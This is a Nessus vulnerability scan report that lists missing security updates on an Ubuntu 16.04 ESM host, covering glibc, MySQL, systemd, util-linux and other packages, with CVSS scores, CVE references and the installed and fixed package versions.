The remote Ubuntu 16.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5768-1 advisory.

Jan Engelhardt, Tavis Ormandy, and others discovered that the GNU C Library iconv feature incorrectly handled certain input sequences. An attacker could possibly use this issue to cause the GNU C Library to hang or crash, resulting in a denial of service.

(CVE-2016-10228, CVE-2019-25013, CVE-2020-27618)

It was discovered that the GNU C Library did not properly handled DNS responses when ENDS0 is enabled. An attacker could possibly use this issue to cause fragmentation-based attacks. (CVE-2017-12132)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5768-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N)

CVSS v3.0 Temporal Score

5.3 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.0068

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2016-10228
CVE	CVE-2017-12132
CVE	CVE-2019-25013
CVE	CVE-2020-27618
XREF	USN:5768-1

Plugin Information

Published: 2022/12/08, Modified: 2025/02/20

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libc6_2.23-0ubuntu11.3
- Fixed package : libc6_2.23-0ubuntu11.3+esm3

- Installed package : multiarch-support_2.23-0ubuntu11.3
- Fixed package : multiarch-support_2.23-0ubuntu11.3+esm3
```

157349 - Ubuntu 16.04 ESM : GPT fdisk vulnerabilities (USN-5262-1)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has a package installed that is affected by multiple vulnerabilities as referenced in the USN-5262-1 advisory.

The potential for an out of bounds write due to a missing bounds check was discovered to impact the sgdisk utility of GPT fdisk.

Exploitation requires the use of a maliciously formatted storage

device and could cause sgdisk to crash as well as possibly

allow for local privilege escalation.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5262-1

Solution

Update the affected gdisk package.

Risk Factor

High

CVSS v3.0 Base Score

6.8 (CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

5.9 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0005

CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2020-0256
CVE	CVE-2021-0308
XREF	USN:5262-1

Plugin Information

Published: 2022/02/03, Modified: 2024/08/28

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : gdisk_1.0.1-1build1
- Fixed package : gdisk_1.0.1-1ubuntu0.1~esm2
```

163026 - Ubuntu 16.04 ESM : GnuPG vulnerability (USN-5503-2)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-5503-2 advisory.

USN-5503-1 fixed a vulnerability in GnuPG. This update provides the corresponding update for Ubuntu 14.04 ESM and Ubuntu 16.04 ESM.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5503-2

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N)

CVSS v3.0 Temporal Score

5.9 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

5.0

EPSS Score

0.0102

CVSS v2.0 Base Score

5.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:N)

CVSS v2.0 Temporal Score

4.5 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2022-34903
XREF	USN:5503-2

Plugin Information

Published: 2022/07/12, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : gnupg_1.4.20-1ubuntu3.3
- Fixed package : gnupg_1.4.20-1ubuntu3.3+esm2

- Installed package : gnupg-agent_2.1.11-6ubuntu2.1
- Fixed package : gnupg-agent_2.1.11-6ubuntu2.1+esm1

- Installed package : gnupg2_2.1.11-6ubuntu2.1
- Fixed package : gnupg2_2.1.11-6ubuntu2.1+esm1

- Installed package : gpgv_1.4.20-1ubuntu3.3
- Fixed package : gpgv_1.4.20-1ubuntu3.3+esm2
```

163267 - Ubuntu 16.04 ESM : HTTP-Daemon vulnerability (USN-5520-2)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has a package installed that is affected by a vulnerability as referenced in the USN-5520-2 advisory.

USN-5520-1 fixed a vulnerability in HTTP-Daemon. This update provides the corresponding update for Ubuntu 14.04 ESM and Ubuntu 16.04 ESM.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5520-2

Solution

Update the affected libhttp-daemon-perl package.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

CVSS v3.0 Temporal Score

5.9 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

3.3

EPSS Score

0.0038

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2022-31081
XREF	USN:5520-2

Plugin Information

Published: 2022/07/18, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libhttp-daemon-perl_6.01-1
- Fixed package : libhttp-daemon-perl_6.01-1ubuntu0.16.04~esm1
```

168234 - Ubuntu 16.04 ESM : HarfBuzz vulnerability (USN-5746-1)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-5746-1 advisory.

Behzad Najjarpour Jabbari discovered that HarfBuzz incorrectly handled certain inputs. A remote attacker could possibly use this issue to cause a denial of service.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5746-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.7 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

EPSS Score

0.0105

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2015-9274
XREF	USN:5746-1

Plugin Information

Published: 2022/11/28, Modified: 2024/08/28

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libharfbuzz-icu0_1.0.1-1ubuntu0.1
- Fixed package : libharfbuzz-icu0_1.0.1-1ubuntu0.1+esm1

- Installed package : libharfbuzz0b_1.0.1-1ubuntu0.1
- Fixed package : libharfbuzz0b_1.0.1-1ubuntu0.1+esm1
```

153942 - Ubuntu 16.04 ESM : MySQL vulnerabilities (USN-5022-3)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5022-3 advisory.

USN-5022-1 fixed several vulnerabilities in MySQL. This update provides the corresponding update for Ubuntu 16.04 ESM.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5022-3

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

6.1 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N)

CVSS v3.0 Temporal Score

5.3 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.0218

CVSS v2.0 Base Score

4.9 (CVSS2#AV:N/AC:M/Au:S/C:N/I:P/A:P)

CVSS v2.0 Temporal Score

3.6 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-2146
CVE	CVE-2021-2154
CVE	CVE-2021-2162
CVE	CVE-2021-2166
CVE	CVE-2021-2169
CVE	CVE-2021-2171
CVE	CVE-2021-2179
CVE	CVE-2021-2180
CVE	CVE-2021-2194
CVE	CVE-2021-2226
CVE	CVE-2021-2307
CVE	CVE-2021-2342
CVE	CVE-2021-2372
CVE	CVE-2021-2385
CVE	CVE-2021-2389
CVE	CVE-2021-2390
XREF	USN:5022-3
XREF	CEA-ID:CEA-2021-0025
XREF	IAVA:2021-A-0193-S
XREF	IAVA:2021-A-0333-S

Plugin Information

Published: 2021/10/08, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : mysql-common_5.7.33-0ubuntu0.16.04.1
- Fixed package : mysql-common_5.7.35-0ubuntu0.16.04.1+esm1
```

154415 - Ubuntu 16.04 ESM : MySQL vulnerabilities (USN-5123-2) -

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5123-2 advisory.

USN-5123-1 fixed several vulnerabilities in MySQL. This update provides the corresponding update for Ubuntu 16.04 ESM.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5123-2

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

5.5 (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H)

CVSS v3.0 Temporal Score

4.8 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

4.2

EPSS Score

0.0018

CVSS v2.0 Base Score

5.5 (CVSS2#AV:N/AC:L/Au:S/C:N/I:P/A:P)

CVSS v2.0 Temporal Score

4.1 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2021-35604
CVE	CVE-2021-35624
XREF	USN:5123-2
XREF	IAVA:2021-A-0487-S

Plugin Information

Published: 2021/10/26, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : mysql-common_5.7.33-0ubuntu0.16.04.1
- Fixed package : mysql-common_5.7.36-0ubuntu0.16.04.1+esm1
```

157370 - Ubuntu 16.04 ESM : MySQL vulnerabilities (USN-5270-2)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5270-2 advisory.

USN-5270-1 fixed several vulnerabilities in MySQL. This update provides the corresponding update for Ubuntu 16.04 ESM.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5270-2

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

5.5 (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H)

CVSS v3.0 Temporal Score

4.8 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

4.2

EPSS Score

0.0021

CVSS v2.0 Base Score

5.5 (CVSS2#AV:N/AC:L/Au:S/C:N/I:P/A:P)

CVSS v2.0 Temporal Score

4.1 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2022-21245
CVE	CVE-2022-21270
CVE	CVE-2022-21303
CVE	CVE-2022-21304
CVE	CVE-2022-21344
CVE	CVE-2022-21367
XREF	USN:5270-2
XREF	IAVA:2022-A-0030-S

Plugin Information

Published: 2022/02/04, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : mysql-common_5.7.33-0ubuntu0.16.04.1
- Fixed package : mysql-common_5.7.37-0ubuntu0.16.04.1+esm1
```

160507 - Ubuntu 16.04 ESM : MySQL vulnerabilities (USN-5400-2)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5400-2 advisory.

USN-5400-1 fixed several vulnerabilities in MySQL. This update provides the corresponding update for Ubuntu 16.04 ESM.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5400-2

Solution

Update the affected packages.

Risk Factor

Low

CVSS v3.0 Base Score

4.4 (CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

3.9 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

EPSS Score

0.0023

CVSS v2.0 Base Score

2.1 (CVSS2#AV:N/AC:H/Au:S/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

1.6 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2022-21417
CVE	CVE-2022-21427
CVE	CVE-2022-21444
CVE	CVE-2022-21451
CVE	CVE-2022-21454
CVE	CVE-2022-21460
XREF	USN:5400-2
XREF	IAVA:2022-A-0168-S

Plugin Information

Published: 2022/05/04, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : mysql-common_5.7.33-0ubuntu0.16.04.1
- Fixed package : mysql-common_5.7.38-0ubuntu0.16.04.1+esm1
```

166569 - Ubuntu 16.04 ESM : MySQL vulnerabilities (USN-5696-2)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5696-2 advisory.

USN-5696-1 fixed several vulnerabilities in MySQL. This update provides the corresponding update for Ubuntu 16.04 ESM.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5696-2

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

4.3 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)

CVSS v3.0 Temporal Score

3.8 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

EPSS Score

0.003

CVSS v2.0 Base Score

4.0 (CVSS2#AV:N/AC:L/Au:S/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.0 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2022-21589
CVE	CVE-2022-21592
CVE	CVE-2022-21608
CVE	CVE-2022-21617
XREF	USN:5696-2

Plugin Information

Published: 2022/10/26, Modified: 2024/08/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : mysql-common_5.7.33-0ubuntu0.16.04.1
- Fixed package : mysql-common_5.7.40-0ubuntu0.16.04.1+esm1
```

163561 - Ubuntu 16.04 ESM : MySQL vulnerability (USN-5537-2)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-5537-2 advisory.

USN-5537-1 fixed a vulnerability in MySQL. This update provides the corresponding update for Ubuntu 16.04 ESM.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5537-2

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

4.9 (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

4.3 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

EPSS Score

0.0009

CVSS v2.0 Base Score

6.1 (CVSS2#AV:N/AC:L/Au:M/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

4.5 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2022-21515
XREF	USN:5537-2

Plugin Information

Published: 2022/07/29, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : mysql-common_5.7.33-0ubuntu0.16.04.1
- Fixed package : mysql-common_5.7.39-0ubuntu0.16.04.1+esm2
```

170561 - Ubuntu 16.04 ESM : MySQL vulnerability (USN-5823-2) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-5823-2 advisory.

USN-5823-1 fixed a vulnerability in MySQL. This update provides the corresponding update for Ubuntu 16.04 ESM.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5823-2

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

4.9 (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

4.3 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

EPSS Score

0.001

CVSS v2.0 Base Score

6.1 (CVSS2#AV:N/AC:L/Au:M/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

4.5 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2023-21840
XREF	USN:5823-2
XREF	IAVA:2023-A-0043-S

Plugin Information

Published: 2023/01/25, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : mysql-common_5.7.33-0ubuntu0.16.04.1
- Fixed package : mysql-common_5.7.41-0ubuntu0.16.04.1+esm1
```

162471 - Ubuntu 16.04 ESM : Protocol Buffers vulnerability (USN-5490-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-5490-1 advisory.

It was discovered that Protocol Buffers did not properly parse certain symbols. An attacker could possibly use this issue to cause a denial of service or other unspecified impact.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5490-1

Solution

Update the affected packages.

Risk Factor

Low

CVSS v3.0 Base Score

5.5 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

4.8 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

EPSS Score

0.0014

CVSS v2.0 Base Score

2.1 (CVSS2#AV:L/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

1.6 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2021-22570
XREF	USN:5490-1

Plugin Information

Published: 2022/06/22, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libprotobuf-lite9v5_2.6.1-1.3
```

```
- Fixed package : libprotobuf-lite9v5_2.6.1-1.3ubuntu0.1~esm1

- Installed package : libprotobuf9v5_2.6.1-1.3
- Fixed package : libprotobuf9v5_2.6.1-1.3ubuntu0.1~esm1
```

166261 - Ubuntu 16.04 ESM : libXdmcp vulnerability (USN-5690-1)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-5690-1 advisory.

It was discovered that libXdmcp was generating weak session keys. A local attacker could possibly use this issue to perform a brute force attack and obtain another user's key.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5690-1

Solution

Update the affected libxdmcp-dev and / or libxdmcp6 packages.

Risk Factor

Low

CVSS v3.0 Base Score

5.5 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

5.0 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.0003

CVSS v2.0 Base Score

2.1 (CVSS2#AV:L/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

1.6 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2017-2625
XREF	USN:5690-1

Plugin Information

Published: 2022/10/19, Modified: 2024/08/28

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libxdmcp6_1:1.1.2-1.1
- Fixed package : libxdmcp6_1:1.1.2-1.1ubuntu0.1~esm1
```

168279 - Ubuntu 16.04 ESM : libsamplerate vulnerability (USN-5749-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-5749-1 advisory.

Erik de Castro Lopo and Agostino Sarubbo discovered that libsamplerate did not properly perform bounds checking. If a user were tricked into processing a specially crafted audio file, an attacker could possibly use this issue to cause a crash.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5749-1

Solution

Update the affected libsamplerate0, libsamplerate0-dev and / or samplerate-programs packages.

Risk Factor

Medium

CVSS v3.0 Base Score

5.5 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

4.8 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

EPSS Score

0.0011

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2017-7697
XREF	USN:5749-1

Plugin Information

Published: 2022/11/29, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libsamplerate0_0.1.8-8
- Fixed package : libsamplerate0_0.1.8-8ubuntu0.1~esm1
```

151835 - Ubuntu 16.04 ESM : systemd vulnerabilities (USN-5013-2) -

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5013-2 advisory.

USN-5013-1 fixed several vulnerabilities in systemd. This update provides the corresponding update for Ubuntu 16.04 ESM.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5013-2

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

6.1 (CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.5 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

5.2

EPSS Score

0.001

CVSS v2.0 Base Score

4.9 (CVSS2#AV:L/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

3.8 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

II

References

CVE	CVE-2020-13529
CVE	CVE-2021-33910
XREF	USN:5013-2
XREF	IAVA:2021-A-0350

Plugin Information

Published: 2021/07/20, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libsystemd0_229-4ubuntu21.27
- Fixed package : libsystemd0_229-4ubuntu21.31+esm1

- Installed package : libudev1_229-4ubuntu21.27
- Fixed package : libudev1_229-4ubuntu21.31+esm1

- Installed package : systemd-sysv_229-4ubuntu21.27
- Fixed package : systemd-sysv_229-4ubuntu21.31+esm1
```

162221 - Ubuntu 16.04 ESM : util-linux vulnerability (USN-5478-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-5478-1 advisory.

Christian Moch and Michael Gruhn discovered that the libblkid library of util-linux did not properly manage memory under certain circumstances. A local attacker could possibly use this issue

to cause denial of service by consuming all memory through a specially crafted MSDOS partition table.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5478-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

4.6 (CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

4.0 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

EPSS Score

0.0006

CVSS v2.0 Base Score

4.9 (CVSS2#AV:L/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

3.6 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2016-5011
XREF	USN:5478-1

Plugin Information

Published: 2022/06/15, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : bsdutils_1:2.27.1-6ubuntu3.3
- Fixed package : bsdutils_1:2.27.1-6ubuntu3.10+esm2

- Installed package : libblkid1_2.27.1-6ubuntu3.3
- Fixed package : libblkid1_2.27.1-6ubuntu3.10+esm2

- Installed package : libfdisk1_2.27.1-6ubuntu3.3
- Fixed package : libfdisk1_2.27.1-6ubuntu3.10+esm2

- Installed package : libmount1_2.27.1-6ubuntu3.3
- Fixed package : libmount1_2.27.1-6ubuntu3.10+esm2
```

```
  - Installed package : libsmartcols1_2.27.1-6ubuntu3.3
  - Fixed package : libsmartcols1_2.27.1-6ubuntu3.10+esm2

  - Installed package : libuuid1_2.27.1-6ubuntu3.3
  - Fixed package : libuuid1_2.27.1-6ubuntu3.10+esm2

  - Installed package : mount_2.27.1-6ubuntu3.3
  - Fixed package : mount_2.27.1-6ubuntu3.10+esm2

  - Installed package : util-linux_2.27.1-6ubuntu3.3
  - Fixed package : util-linux_2.27.1-6ubuntu3.10+esm2

  - Installed package : uuid-runtime_2.27.1-6ubuntu3.3
  - Fixed package : uuid-runtime_2.27.1-6ubuntu3.10+esm2
```

207799 - Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 24.04 LTS : APR vulnerability (USN-7038-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 24.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-7038-1 advisory.

Thomas Stangner discovered a permission vulnerability in the Apache

Portable Runtime (APR) library. A local attacker could possibly use this issue to read named shared memory segments, potentially exposing sensitive application data.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-7038-1

Solution

Update the affected libapr1, libapr1-dev and / or libapr1t64 packages.

Risk Factor

Medium

CVSS v3.0 Base Score

5.5 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

4.8 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

EPSS Score

0.0006

CVSS v2.0 Base Score

4.6 (CVSS2#AV:L/AC:L/Au:S/C:C/I:N/A:N)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2023-49582
XREF	USN:7038-1

Plugin Information

Published: 2024/09/26, Modified: 2024/09/26

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
